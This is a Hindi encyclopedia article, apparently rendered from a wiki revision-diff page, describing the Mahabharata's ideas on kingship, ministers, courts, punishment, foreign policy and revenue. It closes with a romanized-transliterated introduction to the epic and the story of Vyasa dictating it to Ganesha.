राजा को अपनी प्रजा को संतान की भांति स्नेह से देखना चाहिये, परंतु न्याय करते समय उसे स्नेहवश पक्षपात नहीं करना चाहिये। शांतिपर्व के अनुसार राजा न्याय करते समय सदा वादी-प्रतिवादी की बातों को सुनने के लिए अपने पास सर्वार्थदर्शी विद्वान पुरुषों को बिठाए रखे।<ref>[[शान्ति पर्व महाभारत]],69. 27-28</ref> उचित दण्ड की व्यवस्था करना राजा का उत्तम धर्म कहा गया है।
 
=====विदेश नीति एवं युद्ध से सम्बन्धित कार्य=====
 
शांतिपर्व में लिखा है कि राजा को पुर की रक्षा करनी चाहिए, कर्मचारियों के विश्वास पर ही निर्भर न रहकर, पुरवासियों के अनुचित संघों का भेदन तथा शत्रु, मित्र और उदासीनों को जानना चाहिए। बुद्धिमान राजा यदि राज्य का हित चाहे तो उसे हमेशा युद्ध को टालने का ही प्रयत्न करना चहिए।<ref>[[शान्ति पर्व महाभारत]],69. 23</ref> इसके पश्चात भी यदि युद्ध करना जरूरी हो जाये तो पहले शत्रु के बल के बारे में अच्छी तरह पता लगा लेना चाहिए।
 
=====दुष्टों पर नियंत्रण=====
 
महाभारत में लिखा है कि राजा को धर्माचरण के मार्ग में आने वाली बाधाओं को दूर करने के उद्देश्य से पापियों व दुष्टों पर नियंत्रण रखना चाहिए। जो राजा इन सबको नियम के अन्दर रखने में समर्थ होकर भी इन्हें काबू में नहीं रखता, वह इनके लिए हुए पाप का एक-चौथाई भाग स्वयं भोगता है।
 
=====शिक्षा का प्रचार एवं प्रसार=====
 
महाभारत स स्पष्ट होता है कि राजा सुशिक्षित एवं विद्यानुरागी होते थे। महाभारत के अनुसार श्रोत्रिय तथा विद्वान ब्राह्मणों को वृत्ति और दान देना राजा के आवश्यक कार्य माने गये हैं।
 
=====राज्य का धार्मिक कार्य=====
 
महाभारत में राज्य के अधिपति द्वारा करने योग्य धार्मिक कृत्यों का बारम्बार उल्लेख प्राप्त होता है। [[धृतराष्ट्र]] [[युधिष्ठिर]] को आदेश देते हैं- धर्म को सम्मुख रखना, इसके संरक्षण एवं संचालन में प्रसाद न करना।
 
 
 
====राजा का देवत्व====
 
राजा के कार्यों की महत्ता के कारण ही उसके देवत्त्व की भी कल्पना की गई है। अरण्यपर्व में एक स्थान पर उसे भव (ईश्वर) तथा बध्रु (विष्णु) कहा गया है। राजा के देवत्व की पुष्टि प्रभु ईश्वर आदि उपाधियों से भी होती है। परंतु महाभारत में धर्मानुसार शासन करने वाले राजा को ही देवत्त्व की पुष्टि प्रभु ईश्वर आदि उपाधियों से भी होती है। परंतु महाभारत में धर्मानुसार शासन करने वाले राजा को ही देवत्व प्रदान किया गया है, अधर्मी शासक को नहीं। शांतिपर्व में भीष्म उतथ्व को उद्धृत करते हुए कहते हैं कि धर्माचरण करने वाला राजा देवता है। इसके विपरीत आचरण करने वाला राजा नरकगामी होता है।
 
====राजा पर नियंत्रण====
 
महाभारत में राजा की निरंकुशता का समर्थन नहीं किया गया है। उसके ऊपर निम्नलिखित नियंत्रण थे:
 
*महाभारत में राजा को शास्त्रानुसार शासन करने पर बल दिया गया है।
 
*राजा द्वारा सत्यपथ का अनुसरण किया जाना चाहिये मंत्री, मित्र और अनुयायियों का यह कर्तव्य था कि वे राजा को कुपथ पर जाने से रोकें।
 
*मंत्रीपरिषद द्वारा नियंत्रण- मंत्री शासन पर बहुत अधिक नियंत्रण रखते थे। महाभारत का आदेश है कि राजा उनके साथ सम्यक विचार करके ही शासन करे।
 
*धर्म राजा से श्रेष्ठ था- राजा का कार्य केवल धर्म-मर्यादा की रक्षा करना था। वह न तो उसमें परिवर्तन कर सकता था, न उसका अतिक्रमण।
 
*ब्राह्मणों द्वारा राजा की शक्ति पर नियंत्रण- शांतिपर्व में [[भीष्म]] कहते हैं कि [[ब्राह्मण]] अपने तप, ब्रह्मचर्य शास्त्र बल, निष्कपट व्यवहार अथवा भेदनीति से जैसे भी सम्भव हो क्षत्रिय जाति को दबाने का प्रयत्न करे। प्रजा पर अत्याचार करने वाले क्षत्रिय को ब्राह्मण ही दवा सकता है, क्योंकि क्षत्रिय की उत्पत्ति ब्राह्मण से हुई है।<ref>[[शान्ति पर्व महाभारत]],79. 20-23</ref> 
 
*जनमत का नियंत्रण- महाभारत में राजा के निर्वाचन से लेकर निष्कासन तक अनेक क्षेत्रों में राजनीति जनमत से प्रभावित देखी जाती है। [[आदिपर्व महाभारत|आदिपर्व]] में कहा गया है कि प्रजा ने सर्वसम्मति से कुरु को राजा के पद पर प्रतिष्ठित किया था।<ref>[[आदि पर्व महाभारत]],69. 23</ref>
 
*जनता द्वारा प्रतिवाद-  आदि पर्व में [[पाण्डव|पाण्डवों]] के प्रति [[धृतराष्ट्र]] की अनुचित नीति के विरुद्ध सभाओं में तथा चौराहों पर जनता के विरोधी प्रदर्शनों का विस्तृत विवरण मिलता है। इसके अलावा भी अनेक अवसरों पर राजा की नीति ए विरुद्ध उत्तेजित जनता को प्रतिवाद करते हुए पाते हैं।
 
====आमात्य (मंत्रिपरिषद)====
 
महाभारत में मंत्रियों के लिये सचिव, आमात्य, मंत्रधारिन, मंत्रसहाय, सहायवान आदि संज्ञाओं का प्रयोग किया गया है। शांति पर्व में कुल, बाहु, धन आमात्य तथा बुद्धि राजा के प्राकृतिक बल कहे गये हैं।
 
====मंत्रियों की संख्या====
 
महाभारत में मंत्रियों की संख्या के विषय में भिन्न-भिन्न विचार प्रतिपादित किये गये हैं। [[भीष्म]] [[युधिष्ठिर]] को उपदेश देते हुए कहते हैं कि मंत्रियों की संख्या 37 होनी चाहिए- 4 ब्राह्मण, 8 क्षत्रिय, 21 वैश्य, 3 शूद्र तथा 1 सूत। यह संख्या सम्पूर्ण मंत्रिमण्डल की हो सकती है, किंतु इसके अंतर्गत एक छोटा मंत्रिमण्डल भी होता था। इस मण्डल के सदस्यों की संख्या साधारणतया आठ होती थी। भीष्म के अनुसार मंत्रियों की संख्या कम-से-कम तीन होनी चाहिए।
 
====मंत्रियों के गुण====
 
महाभारत में लिखा है कि मंत्री कुलीन, धन के लोभ से तोड़े न जा सकने वाले, सदा राजा  के साथ रहने वाले, उसकी अच्छी सलाह देने वाले, सत्पुरुष, सम्बन्धित ज्ञान में कुशल, भविष्य का भलीभांति प्रबन्ध करने वाले, समय के ज्ञान में निपुण तथा बीती हुई बात के लिए शोक न करने वाले होने चाहिए।<ref>[[शान्ति पर्व महाभारत]],115. 16-17</ref>
 
====मंत्रियों के कार्य====
 
 
 
महाभारत के अनुसार मंत्रियों के कार्य असीमित थे। वे राजा के राजनीतिक, धार्मिक तथा वैयक्तिक सभी कार्यों से भाग लेते थे। शांति पर्व में राजा को आदेश दिया गया है कि वह ग्रामादिक अधिकारियों के कार्य निरीक्षणार्थ धर्मज्ञ तथा आलस्यरहित सचिवों की नियुक्ति करे।<ref>[[शान्ति पर्व महाभारत]],88. 10</ref> कर संग्रह का कार्य भी आमात्य को सौंपा जाता था। मंत्रियों को कूटनीतिक कार्य , जैसे शत्रुवर्ग में भेद उत्पन्न कराना आदि भी करने पड़ते थे। शांतिपर्व से विदित होता है कि म्को न्याय कार्य भी सौंपा जाता था।<ref>[[शान्ति पर्व महाभारत]],85.15-16</ref> राजसभा में हमेशा राजा मंत्रियों के साथ बैठता था और उनमें विचार-विमर्श करके ही आवश्यक कार्यों को करने का आदेश देता था।
 
 
 
* मंत्र की गोपनीयता पर बल- महाभारत में लिखा है कि वही राजा राज्य करने का अधिकारी है जिसके गुप्त मंत्र को शत्रु न जान सके। मंत्र रक्षा का उत्तरदायित्व राजा और मंत्री दोनों पर था।
 
* मंत्र-भेद के द्वार- महाभारत में मंत्र भेद के छ: द्वार बताए गए हैं- मद, स्वप्न, प्रविज्ञान, इंगित-आकार, दुष्ट आमात्य तथा अकुशल दूत में विश्वास। इसलिए राजा को इन छ: द्वारों पर रोक लगाने का आदेश दिया गया है।
 
* मंत्रणा का स्थान- महाभारत के अनुसार मंत्रणा या तो सुसंवृतमंत्र गृह, राजप्रासाद के ऊपरी भाग के किसी एकांत स्थान में अथवा पर्वत-शिखर या अरण्य में तृण आदि से अनावृत किसी निर्जन स्थान में करना चाहिए।
 
====प्रधान सचिव (महामंत्री)====
 
महाभारत में कई स्थानों पर महामंत्री का भी उल्लेख किया गया है। यह मंत्रिपरिषद का प्रमुख होता था। वह राजा की अनुपस्थिति में मंत्रिपरिषद का संचालन करता था तथा शासन व्यवस्था में उसकी महत्त्वपूर्ण भूमिका होती थी।
 
====राजा सर्वोच्च====
 
मंत्रियों का भाग्य पूरी तरह राजा के हाथ में था। मंत्री की नियुक्ति, पदोन्नति, पदावनति, पदमुक्ति एवं निर्वाचन आदि के लिए वही उत्तरदायी होता था। महाभारत में उनके पारस्परिक सहयोग पर बहुत बल दिया गया है।
 
====राष्ट्र सभा====
 
महाभारत में राजसभा के विभिन्न नाम प्राप्त होते हैं, जैसे [[संसद]], समिति तथा परिषद। सभा में राजा, राजपरिवार के अन्य सदस्य, सामंत एवं मित्र, आचार्य और [[पुरोहित]], मंत्री, सेनापति तथा प्रजा के प्रतिनिधि उपस्थित रहते थे। सभा में राजा स्वयं उपस्थित होकर निर्देशन करता था। उसकी अनुपस्थिति में यह कार्य अन्य सदस्य (श्रेष्ठ) को सौंपा जाता था।
 
====सभा के कार्य====
 
सभा का प्रमुख कार्य था देश की समस्याओं पर विचार करना और राज्य की नीति निर्धारित करना। सभा में राजनीतिक समस्याओं पर भी विचार किया जाता था। सभा राज्य का सर्वोच्च न्यायालय भी थी। राजा सभा में बैठकर अभियोग का निर्णय करता था। सभा में मनोरंजन की भी आयोजना की जाती थी। [[कौरव]] सभा में द्यूत क्रीड़ा के परिणामस्वरुप ही महाभारत युद्ध हुआ था।
 
====सभा की कार्यप्रणाली====
 
सभा में विचारार्थ जो प्रस्ताव प्रस्तुत किया जाता था, उस पर सभी सदस्य अपना-अपना मत व्यक्त करते थे। सभासदों को अपने विचार प्रकट करने की पूर्ण स्वतंत्रता थी। राजा स्वयं सभा में उपस्थित रहता था और अन्य सदस्यों की भांति ही अपना मत व्यक्त करता था। सभा द्वारा स्वीकृत प्रस्ताव कार्यांवित किये जाते थे।
 
====दण्ड एवं न्याय व्यवस्था====
 
शांति पर्व में लिखा है कि प्रजा का पालन करने के निमित्त राजदण्ड धारण करना ही क्षत्रिय धर्म है, सिर मुड़ाना राजधर्म नहीं।<ref>[[शान्ति पर्व महाभारत]],24. 30</ref>  भीष्म ने कहा है कि दण्ड उद्दण्ड मनुष्यों का दमन करता है और दुष्टों को दण्डित। इस दमन और प्रक्रिया के कारण ही विद्वान पुरुष उसे दण्ड कहते हैं। महाभारत में लिखा है कि स्वयं ईश्वर ने धर्म की रक्षा के लिए दंड को क्षत्रिय के हाथ में समर्पित किया है। महाभारत में अपराधियों को दण्ड देना राजा का कर्तव्य माना गया है। जिस राज्य में शासक, दुष्ट और दुराचारियों को दण्ड द्वारा वश में नहीं रखते वहाँ प्रजा उद्विग्न हो उठती है। शांतिपर्व में तो लिखा है कि जो राजा दण्डनीय व्यक्तियों को दण्ड नहीं देता उसे आत्मशुद्धि के लिए उपवास करना चाहिये। दण्ड देना राजा का धर्म है, परंतु दण्ड सम्यक, न्यायोचित और पक्षपातरहित होना चाहिए।
 
====दण्ड के प्रकार====
 
महाभारत के शांतिपर्व में वाकदण्ड, धन दण्ड, काम दण्ड तथा वध दण्ड का उल्लेख किया गया है<ref>[[शान्ति पर्व महाभारत]],160. 68</ref>  और आश्रमवासिक पर्व में हिरण्य दण्ड वध का।<ref>[[आश्रमवासिक पर्व महाभारत]],5. 31</ref>  अपराथ एवं अपराधी के अनुरूप दण्ड दिया जाना चाहिए। धर्म का विनाश चाहने वाले तथा अधर्म के प्रवर्तक दुरात्माओं का वध करना उचित है। परंतु [[ब्राह्मण]], दूत, [[पिता]] गुरु तथा परोपकारी प्रमुख अबध्य माने जाते हैं। महाभारत में वर्ण के अनुरूप दण्ड देने की भी जानकारी प्राप्त होती है।
 
====दण्ड का उद्देश्य====
 
महाभारत में दण्ड का उद्देश्य अपराधियों में भय उत्पन्न करना और उन्हें दण्ड देना था। शांतिपर्व में कहा गया है कि राजदण्ड के भय से ही पापी पाप और प्रजा प्रसाद नहीं करती। मनुष्यों को प्रसाद से बचाने और उनके धर्म की रक्षा करने के लिए जो मर्यादा स्थापित की गई है, उसी का नाम दंड है।
 
====न्याय व्यवस्था====
 
=====धर्म अथवा क़ानून के स्रोत=====
 
महाभारत में [[धर्म]] के तीन स्रोत माने गये हैं- श्रुति, स्मृति तथा शिष्टाचार।<ref>[[शान्ति पर्व महाभारत]],251. 3</ref> धर्म के अनुसार अभियोग का निर्णय करना राजा का कार्य था, परंतु धर्म विषयक संशय का निराकरण करना परिषद का कार्य था। इसके सदस्य धर्म के ज्ञाता विद्वान ब्राह्मण थे।
 
=====न्यायालय=====
 
न्याय व्यवस्था का सर्वोच्च अधिकारी राजा स्वयं होता था। शांतिपर्व में लिखा हैं कि न्याय करते समय राजा को अपने पास तत्त्वदर्शी विद्वान रखने चाहिए।<ref>[[शान्ति पर्व महाभारत]],69. 28</ref>  अनुशासनपर्व में कहा गया है कि अनेक तत्त्वदर्शी श्रेष्ठ पुरुषों के साथ परामर्श करके अभियुक्त के कथित अपराध, देशकाल, न्याय और अन्याय आदि की विवेचना करने के पश्चात ही शास्त्रानुसार दण्ड देना चाहिए।<ref>[[अनुशासन पर्व महाभारत]],145</ref> 
 
 
 
=====कार्यप्रणाली=====
 
महाभारत से न्यायालयों की कार्यप्रणाली की भी जानकारी प्राप्त होती है। वादी-प्रतिवादी अपने साक्षियों सहित उपस्थित होकर अपना पक्ष प्रस्तुत करते थे। उनके अभियोग को सुनना राजा की कर्तव्य था। मिथ्या साक्ष्य देना निन्दनीय ही नहीं, दण्डनीय भी माना जाता था। महाभारत में शपथ का भी उल्लेख है। अनुशासनपर्व में सप्तऋषियों पर चोरी का अभियोग लगाया गया था, परंतु शपथ लेने पर वे निर्दोष मान लिये गये थे।<ref>[[अनुशासन पर्व महाभारत]],95.13-15</ref>
 
 
 
====परराष्ट्र नीति एवं अंतर्राज्यीय सम्बन्ध====
 
=====मण्डल सिद्धांत=====
 
यह सिद्धांत संतुलन स्थापित करने हेतु प्रतिपादित किया गया था। मण्डल का केन्द्र बिन्दु विजिगीषु (विजय की इच्छा रखने वाला) कहलाता है। विजिगीषु राजा के अग्र भाग में जिस राजा की सीमा उस राज्य से मिलती है उसे अरि अथवा शत्रु कहा गया है। इसके बाद क्रमश: मित्र और-मित्र, मित्र-मित्र राजा होते हैं। इसी प्रकार पृष्ठ भाग में क्रमश: शत्रु और मित्र राजाओं की परम्परा होती है। विजिगीषु के पृष्ठ भाग में स्थित राजा को पार्ष्णिग्राह कहा जाता है।
 
वास्तव में यह पीछे स्थित शत्रु राज्य ही है। तदंतर क्रमश: आक्रान्दा, पार्ष्णिग्राहासार तथा आक्रान्दासार होते हैं। इस प्रकार विजिगीषु से आगे पाँच और उसके पीछे के चार राज्य मण्डल के अंग माने जाते हैं। इनके अतिरिक्त मध्यम और उदासीन राजा भी होते हैं। अत: मण्डल के राजाओं की संख्या 12 होती है। इसलिए इसे 'द्वादश: राजमण्डल' कहा जाता है। इनमें से प्रत्येक राजा की पाँच प्रकृतियां होती हैं- आमात्य, कोष, दुर्ग, बल और राष्ट्र। अत: मण्डल के समस्त राजाओं की प्रकृतियों की संख्या मिलकर 72 होती है। महाभारत में हमे 'द्वादश राजमण्डल' उनकी 60 प्रकृतियां और दोनों के सम्मिलित योग 72 का भी उल्लेख महाभारत के अनुसार मण्डलस्थ राजाओं के साथ राजनीतिक तथ्यों को ध्यान में रखकर यथोचित व्यवहार करना चाहिए, अथवा शत्रु पर आक्रमण करने से पूर्व पार्ष्णिग्राह की गतिविधि भलीभांति समझ लेनी चाहिए। मित्र, उदासीन, मध्यस्थ तथा शत्रु के प्रति कब कैसा व्यवहार करना चाहिए इसका ज्ञान भी वे राजा के लिए आवश्यक मानते हैं। शांतिपर्व में लिखा है कि राजा उदासीन, अरि तथा मित्र की गतिविधियों का ज्ञान अपने गुप्तचरों द्वारा प्राप्त करे।<ref>[[शांतिपर्व महाभारत]],88.18-19</ref>
 
 
 
=====षाड्गुण्य नीति=====
 
परराष्ट्र नीति का एक मुख्य आधार षाड्गुण्य नीति था। इसके छ: गुण सन्धि, विग्रह, यान, आसन्न, संश्रय और द्वैधी भाव हैं। महाभारत में कहा गया है कि जो राजा षाड्गुण्य नीति को भलीभांति जानता है वही इस [[पृथ्वी]] का उपभोग कर सकता है।<ref>[[शांतिपर्व महाभारत]],69.64</ref>  महाभारत में सन्धि एवं विग्रह की विस्तृत विवेचना की गयी है जबकि अन्य गुणों का कहीं-कहीं उल्लेख मात्र मिलता है।
 
 
 
=====युद्ध=====
 
महाभारत के शांतिपर्व में युद्ध की तुलना यज्ञ से की गयी है। युद्ध करने का वही फल होता है जो अनंत दक्षिणाओं से युक्त यज्ञ का। क्षत्रिय के लिये वीर गति प्राप्त करना धर्म माना गया है। जो सैनिक युद्ध भूमि में वीर गति प्राप्त करता है वह इन्द्रलोक प्राप्त करता है और इसके विपरीत जो पीठ दिखाकर युद्ध से भागता है, वह नरकगामी होता है।<ref>[[शांतिपर्व महाभारत]],100.1-8</ref> महाभारत में लिखा है कि सर्वप्रथम शत्रु के पास दूत भेजकर सन्धि की चेष्टा करे। दूत के प्रयास सफल नहीं होने पर ही युद्ध आरम्भ करना चाहिए। संदेश यह है कि नितांत आवश्यक होने पर ही युद्ध की स्थिति अपनाई जाय। राजा को अपने से दुर्बल शत्रु पर आक्रमण करना चाहिए, अपने से बलवान पर नहीं। राजा को युद्ध तभी करना चाहिए जब वह हठ मूल हो, उसके सैनिक हष्ट-पुष्ट तथा संतुष्ट हों और काल उसके अनुकूल हो। महाभारत में युद्ध के नियमों का भी विस्तार से वर्णन किया गया है।
 
=====उपाय=====
 
युद्ध करना राजा का सर्वश्रेष्ठ धर्म माना गया है, परंतु युद्ध में विजय निश्चित नहीं है। अत: राजा को अन्य उपायों से शत्रु को वश में करने का आदेश दिया गया है। साधारणतया चार उपाय माने गये हैं- साम, दाम, भेद, तथा दण्ड। महाभारत में चार उपायों का तो उल्लेख मिलता ही है।<ref>[[शांतिपर्व महाभारत]],5.51</ref>  एक स्थान पर सात उपायों का भी विवरण प्राप्त होता है। ये थे मंत्र, औषधि, इन्द्रजाल, साम, दाम, दण्ड तथा भेद। शांति पर्व में एक स्थान पर पांच उपायों का भी उल्लेख प्राप्त होता है- साम, दाम, दण्ड भेद तथा उपेक्षा। इसमें स्पष्ट है कि मूलत: उपायों की संख्या चार थी, परंतु क्रमश: इनकी अभिवृद्धि होती गई।
 
=====उपायों से अभिप्राय=====
 
साम का अर्थ है शांतिपूर्ण उपायों से शत्रु को अपने वश में करना। दान का अर्थ धन देकर शत्रु की प्रकृतियों को अपने पक्ष में लाना और शत्रु से उन्हें विरक्त करना। भेद का अर्थ शत्रु तथा उनके मित्रों एवं प्रकृतियों में भेद उत्पन्न कराना और दण्ड का अर्थ है बलपूर्वक युद्ध द्वारा शत्रु को अपने वश में करना।
 
=====गुप्तचर व्यवस्था=====
 
महाभारत काल में गुप्तचरों की व्यापक व्यवस्था थी। वे स्वराष्ट्र एवं विदेशी राष्ट्रों में नियुक्त किये जाते थे और वहाँ की जनता की गतिविधि का सूक्ष्म दृष्टि से निरीक्षक करते थे। महाभारत के अनुसार गुप्तचरों की नियुक्ति स्वयं राजा को करनी चाहिए। शांतिपर्व के अनुसार जो व्यक्ति क्षुधा, प्यास और श्रम सहन करने की शक्ति रखते हों और जिनकी सम्यक परीक्षा ली जा चुकी हो, उन्हीं को गुप्तचर नियुक्त करना चाहिए।
 
=====गुप्तचरों के कार्य=====
 
स्वराष्ट्र में गुप्तचरों के कार्य थे- प्रजा की गतिविधियों का अध्ययन, पापी, चोर आदि कंटकों का पता लगाना, पौर-संघात भेदन तथा राजकीय कर्मचारियों पर दृष्टि रखना आदि।<ref>[[शांतिपर्व महाभारत]],5.8. 5-12</ref>  परराष्ट्र में वे मित्र, शत्रु मध्यम तथा उदासीन सभी राष्ट्रों में नियुक्त किये जाते थे। जहाँ वे राजा व प्रजा दोनों की भावनाओं का अध्ययन और गतिविधि का सूक्ष्म रूप से निरीक्षण करते थे।
 
=====दूत=====
 
महाभारत में दूत का प्रधान कार्य अपने स्वामी की नीति और विचारों से दूसरों को अवगत कराना था। भगवान [[श्रीकृष्ण]] [[पाण्डव|पाण्डवों]] के निसृष्टार्थ दूत थे। उन्हें [[कौरव|कौरवों]] से सन्धि तथा विग्रह करने का पूर्ण अधिकार था।
 
====राजकोष एवं अर्थव्यवस्था सम्बन्धी विचार====
 
महाभारत में धन का महत्व अनेक स्थानों पर व्यक्त किया गया है। शांतिपर्व में लिखा है कि धन से ही धर्म का पालन, कामना की पूर्ति, स्वर्ग की प्राप्ति, हर्ष की वृद्धि, क्रोध की शांति, शास्त्रों का अध्ययन तथा शत्रुओं का दमन सम्भव है।<ref>[[शांतिपर्व महाभारत]],8. 21</ref> अत: धन संग्रह करना राजा का दैनिक कृत्य माना गया है। महाभारत के अनुसार, कोष का निरीक्षण कार्य राजा को स्वयं करना चाहिए तथा अपने कोष की अभिवृद्धि भी करनी चाहिए। महाभारत में अनेक स्थलों पर धर्मानुसार कर ग्रहण करने का आदेश दिया गया है। कर समुचित होना चाहिए। वह न तो इतना अधिक हो कि प्रजा को भार सम प्रतीत हो और न इतना अल्प कि राज्य की आय कम हो जाए। कर समुचित जांच-पड़ताल के पश्चात निर्धारित करना चाहिए। कर उसी व्यक्ति से लेना चाहिए जो उसके भार को वहन करने में समर्थ हो।
 
====राज्य की आय के प्रमुख साधन====
 
महाभारत में एक स्थान पर बलि को अन्यत्र आकर, लवण शुल्क, तर तथा नागवन को राज्य की आय का साधन बताया गया है। <ref>[[शांतिपर्व महाभारत]], 69. 25-28</ref> राज्य की आय का प्रमुख साधन बलि अथवा भूमि-कर था। शुल्क की तुलना वर्तमान चुंगी कर से की जा सकती है। करों के अतिरिक्त आय के अन्य साधनों में दण्ड, सामंत राजाओं द्वारा प्राप्त उपहार एवं विजय से प्राप्त धन का भी उल्लेख कर सकते हैं। अर्थदण्ड भी राज्य की आय का साधन था।
 
 
 
==उत्तरगीता==
 
{{मुख्य|उत्तरगीता}}
 
'उत्तरगीता' महाभारत का ही एक अंश माना जाता है। प्रसिद्ध है कि पाण्डवों की विजय और राज्य प्राप्ति के बाद श्री कृष्ण के सत्संग का सुअवसर पाकर एक बार अर्जुन ने कहा कि भगवन! युद्धारम्भ में आपने जो गीता-उपदेश मुझको दिया था, युद्ध की मार-काट और भाग-दौड़ के बीच मैं भूल गया हूँ। कृपा कर वह ज्ञानोपदेश मुझको फिर से सुना दीजिए।
 
==धृतराष्ट्र- वनगमन==
 
[[चित्र:Vyasadeva-Sanjaya-Krishna.jpg|thumb|[[संजय]] को दिव्यदृष्टि प्रदान करते हुये [[वेदव्यास]] जी]]
 
{{मुख्य|धृतराष्ट्र का वनगमन}}
 
पाण्डवों ने विजयी होने के उपरांत धृतराष्ट्र तथा गांधारी की पूर्ण तन्मयता से सेवा की। पाण्डवों में से भीमसेन ऐसे थे जो सबकी चोरी से धृतराष्ट्र को अप्रिय लगने वाले काम करते रहते थे, कभी-कभी सेवकों से भी धृष्टतापूर्ण मंत्रणाएँ करवाते थे। धृतराष्ट्र धीरे-धीरे दो दिन या चार दिन में एक बार भोजन करने लगे। पंद्रह वर्ष बाद उन्हें इतना वैराग्य हुआ कि वे वन जाने के लिए छटपटाने लगे। वे और गांधारी युधिष्ठिर तथा व्यास मुनि से आज्ञा लेकर वन में चले गये।
 
 
 
==सत्य ब्राह्मण की कथा==
 
{{मुख्य|सत्य}}
 
# सत्य नामक ब्राह्मण अनेक यज्ञों तथा तपों से व्यस्त रहता था।
 
# उसकी पत्नी (पुष्कर धारिणी) उसके हिंसक यज्ञों से सहमत नहीं थी, तथापि उसके शाप के भय से यज्ञ पत्नी का स्थान ग्रहण करती थी।
 
 
 
{{प्रचार}}
 
{{संदर्भ ग्रंथ}}
 
 
==टीका टिप्पणी और संदर्भ==
 
==टीका टिप्पणी और संदर्भ==
{{Refbox}}
+
<references/>
 
 
 
==संबंधित लेख==
 
==संबंधित लेख==
{{महाभारत}}{{महाकाव्य}}
+
{{महाभारत}}{{महाकाव्य}}{{संस्कृत साहित्य}}
{{संस्कृत साहित्य}}
+
[[Category:पौराणिक कोश]][[Category:महाभारत]][[Category:प्राचीन महाकाव्य]][[Category:महाकाव्य]][[Category:पद्य साहित्य]][[Category:साहित्य कोश]][[Category:हिन्दू धर्म कोश]][[Category:धर्म कोश]][[Category:हिन्दू धर्म ग्रंथ]]
{{महाभारत2}}
 
[[Category:पौराणिक कोश]]
 
[[Category:महाभारत]]
 
[[Category:प्राचीन महाकाव्य]]
 
[[Category:महाकाव्य]]
 
[[Category:पद्य साहित्य]]
 
[[Category:साहित्य कोश]]
 
[[Category:हिन्दू धर्म कोश]][[Category:धर्म कोश]]
 
[[Category:हिन्दू धर्म ग्रंथ]]
 
 
__INDEX__
 
__INDEX__
 
__NOTOC__
 
__NOTOC__

Latest revision as of 14:34, 6 July 2017

mahabharat
vivaran 'mahabharat' bharat ka anupam, dharmik, pauranik, aitihasik aur darshanik granth hai. yah hindoo dharm ke mukhyatam granthoan mean se ek hai. yah vishv ka sabase lamba sahityik granth hai.
rachayita vedavyas
lekhak bhagavan ganesh[1]
bhasha sanskrit
mukhy patr shrikrishna, bhishm, arjun, dron, karn, duryodhan, abhimanyu, dhritarashtr, yudhishthir, draupadi, shakuni, kuanti, gaandhari, vidur adi.
18 parv adiparv, sabhaparv, vanaparv, virataparv, udyogaparv, bhishmaparv, dronaparv, ashvamedhikaparv, mahaprasthanikaparv, sauptikaparv, striparv, shantiparv, anushasanaparv, mausalaparv, karnaparv, shalyaparv, svargarohanaparv, ashramavasikaparv
shlok sankhya ek lakh se adhik
lokapriyata bharat, nepal, indoneshiya, shrilanka, java dvip, thailaiand, tibbat, myaanmar adi deshoan mean mahabharat bahut lokapriy hai.
sanbandhit lekh gita, shrikrishna, pandav, kaurav, arjun, indraprasth, hastinapur, ajnatavas, draupadi chiraharan, shishupal vadh, ashvamedh yajn, akshauhini
any janakari anuman kiya jata hai ki 'mahabharat' mean varnit 'kuru vansh' 1200 se 800 eesa poorv ke dauran shakti mean raha hoga. pauranik manyata ko dekhean to pata lagata hai ki arjun ke pote[2] parikshit aur mahapadmanand ka kal 382 eesa poorv thaharata hai.

mahabharat hinduoan ka pramukh kavy granth hai, jo hindoo dharm ke un dharm-granthoan ka samooh hai, jinaki manyata shruti se nichi shreni ki haian aur jo manavoan dvara utpann the. kabhi-kabhi sirf 'bharat' kaha jane vala yah kavy-granth bharat ka anupam, dharmik, pauranik, aitihasik aur darshanik granth hai. yah hindoo dharm ke mukhyatam granthoan mean se ek hai. yah vishv ka sabase lanba sahityik granth hai, halaanki ise sahity ki sabase anupam kritiyoan mean se ek mana jata hai, kintu aj bhi yah pratyek bharatiy ke liye ek anukaraniy srot hai.

hindoo itihas gatha

yah kriti hinduoan ke itihas ki ek gatha hai. poore 'mahabharat' mean ek lakh shlok haian. vidvanoan mean mahabharat kal ko lekar vibhinn mat haian, phir bhi adhikatar vidvanh mahabharat kal ko 'lauhayug' se jo date haian. anuman kiya jata hai ki mahabharat mean varnit 'kuru vansh' 1200 se 800 eesa poorv ke dauran shakti mean raha hoga. pauranik manyata ko dekhean to pata lagata hai ki arjun ke pote parikshit aur mahapadmanand ka kal 382 eesa poorv thaharata hai.

mahakavy ka lekhan

'mahabharat' mean is prakar ka ullekh aya hai ki vedavyas ne himalay ki talahati ki ek pavitr gufa mean tapasya mean sanlagn tatha dhyan yog mean sthit hokar mahabharat ki ghatanaoan ka adi se ant tak smaran kar man hi man mean mahabharat ki rachana kar li thi, parantu isake pashchath unake samane ek ganbhir samasya a kh di huee ki is mahakavy ke jnan ko samany jan sadharan tak kaise pahuanchaya jaye, kyoanki isaki jatilata aur lambaee ke karan yah bahut kathin kary tha ki koee ise bina kisi truti ke vaisa hi likh de, jaisa ki ve bolate jaean. isalie brahma ke kahane par vyas bhagavan ganesh ke pas pahuanche. ganesh likhane ko taiyar ho gaye, kiantu unhoanne ek shart rakh di ki kalam ek bar utha lene ke bad kavy samapt hone tak ve bich mean rukeange nahian. vyasaji janate the ki yah shart bahut kathanaeeyaan utpann kar sakati haian.

chitr:Blockquote-open.gif mahabharat shaanti parv adhyay-82:
krishna:-
he devarshi ! jaise purush agni ki ichchha se arani kashth mathata hai; vaise hi un jati-logoan ke kahe hue kathor vachan se mera hriday sada mathata tatha jalata hua rahata hai ॥6॥
he narad ! b de bhaee balaram sada bal se, gad sukumarata se aur pradyumn roop se matavale hue hai; isase in sahayakoan ke hote hue bhi maian asahay hua hooan. ॥7॥ age padhean:-krishna narad sanvad chitr:Blockquote-close.gif

atah unhoanne bhi apani chaturata se ek shart rakhi ki koee bhi shlok likhane se pahale ganesh ko usaka arth samajhana hoga. ganesh ne yah prastav svikar kar liya. is tarah vyas bich-bich mean kuchh kathin shlokoan ko rach dete. jab ganesh unake arth par vichar kar rahe hote, utane samay mean hi vyasaji kuchh aur naye shlok rach dete. is prakar sampoorn mahabharat tin varshoan ke antaral mean likhi gayi.

